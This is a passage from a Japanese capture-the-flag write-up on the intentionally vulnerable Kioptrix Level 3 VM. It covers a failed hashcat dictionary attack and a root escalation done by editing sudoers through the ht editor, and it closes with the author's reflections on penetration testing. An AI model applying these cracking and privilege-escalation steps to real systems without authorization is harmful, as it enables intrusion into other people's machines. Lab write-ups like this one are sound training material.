Hash.Target......: $1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
Time.Started.....: Tue Sep 22 12:59:18 2020 (41 mins, 21 secs)
Time.Estimated...: Tue Sep 22 14:16:48 2020 (36 mins, 9 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     3351 H/s (4.43ms) @ Accel:16 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 7074944/14344385 (49.32%)
Rejected.........: 0/7074944 (0.00%)
Restore.Point....: 7074944/14344385 (49.32%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: jenize -> jenixa16

Approaching final keyspace - workload adjusted.  

Session..........: hashcat                       
Status...........: Exhausted
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
Time.Started.....: Tue Sep 22 12:59:18 2020 (1 hour, 21 mins)
Time.Estimated...: Tue Sep 22 14:20:55 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     2740 H/s (5.20ms) @ Accel:16 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: $HEX[042a0337c2a156616d6f732103] -> $HEX[042a0337c2a156616d6f732103]

Started: Tue Sep 22 12:59:15 2020
Stopped: Tue Sep 22 14:21:00 2020
```

うわっ！　めちゃめちゃ時間かかった(約1時間20分)のに失敗した。。。

これは色々試すのしんどすぎ、、、というかマジ無理。。。
こんなパワープレイではなくても行けると思うんだが。。。

## htエディター

しばし、振り返る。

やっぱり怪しいのは「ht」というエディター。
ファイル作成できるか書いている割に操作できないのは謎すぎる。
virtualboxのvmなのでもしかするとキーボード周りがうまくなくて、操作できてないだけかも？
もしくは、host OSがmacだからFunctionキーとかうまくないのか？？

調べてみると、virtualboxには「Input -> Keyboard -> Soft keyboard」が存在することが判明。　これでもしかしたら行けるかも？

![スクリーンショット 2020-09-22 14.39.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/4cb679a3-693e-99f9-6e11-e932cb5b0480.png)

行ける！　いけるぞ！　ファイルが開けそうな感じの画面になった！！　少なくとも、何も操作できない状態から脱出できた！！　くっそー。　返せ、俺の時間。。。

# 神化

こうなると、sudoersにloneferretユーザーを追加したくなる。
試していく！！

sudoersについて
https://www.digitalocean.com/community/tutorials/how-to-edit-the-sudoers-file

![スクリーンショット 2020-09-22 14.44.07.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/292cb7e2-1574-8e4a-2916-ece4ba7fada8.png)

こんな感じ？　エンターキーを強打！

![スクリーンショット 2020-09-22 14.44.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/1f9e2c22-0f3e-cab9-f0ad-001f059c27cf.png)

きたー！！！！！　もらった！！

![スクリーンショット 2020-09-22 15.09.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/bdf5932e-b7cc-62aa-884c-09d930c93175.png)

loneferretの設定が入っているのでコメントアウトして、以下を追記するっと。
```
loneferret ALL=(ALL) ALL
```
これで神になれるはず。
F2キー(ソフト）、F10キー(ソフト）でターミナルに戻る。

```console
loneferret@Kioptrix3:~$ sudo su -
[sudo] password for loneferret: 
root@Kioptrix3:~# 
```

神化成功！

```console
root@Kioptrix3:~# passwd
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
```

長かったーーーー。長かった。。。。。。。。。
めちゃめちゃ嬉しい！

ふとホームディレクトリがきになったので見てみる。

```console
root@Kioptrix3:~# ls
Congrats.txt  ht-2.0.18
```

おめでとうメッセージがある(Congrats)

```console
root@Kioptrix3:~# cat Congrats.txt 
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone. 
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.


I hope you enjoyed this third challenge.

Steven McElrea
aka loneferret
http://www.kioptrix.com


Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.

Main page CMS: 
http://www.lotuscms.org

Gallery application: 
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/

The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/


Also, all pictures were taken from Google Images, so being part of the
public domain I used them.

root@Kioptrix3:~# 
```

kioptrixからのメッセージがあった!! 
なんか少し感動。　ほんとうにありがとう！！　

# 振り返り

今回も"easy"モードなはずなのにめちゃめちゃ苦労した感じが否めない。

何度も壁にぶつかり、諦めず、前に進めなくなったら一度立ち止まり、戻りながら進んだことが結果につながったのがポイントだと思う。

また、Pen test用の新しいツールの使い方やLinux設定周りの確認、OSSでのphpやHTML, JavaScriptのソースコードを理解することなどが勉強になった気がするし、すごく充実感がある。

ただ、今回のターゲットはkioptrixが<b>"わざと"</b>作ったVMだと事前に知っていること、そしてヒントを仕込んでいてくれているとわかっていることはかなり大きかったと思う。

例えば、実際にPenetration testを行うことになったとする。
そのときに、今回のように立ち止まって戻ることは本当にできるのかどうか。見落としなく「安全」と言えるのかどうか。

事前にVulnerabilityのチェックリストを作成して、OK、NGで結果を記入することになると思う。　OKと書いた箇所に自信をもって「安全」と言えるのか。想像すると、膨大な知識と経験が必要な気がする。。。

また、今回自分が経験したBrute-forceによるパスワードクラッキングはあまり有効な手段ではないのかもしれない。

Hashアルゴリズム、パスワードハッシュ、salt、saltの使用方法までわかっていればなんとかなるかもしれないが、それでも長時間かけてクラッキング失敗の可能性は十分ある。

知識も知識もまったくないが、「パスワードディクショナリとしてrockyou.txtに記載されているパスワードを使用しました。straightforward、および○○○のルールを使用したパスワード強度調査に対しては脆弱性は見つかりませんでした」とかって報告をすることになるのかな？

Penetration test
https://en.wikipedia.org/wiki/Penetration_test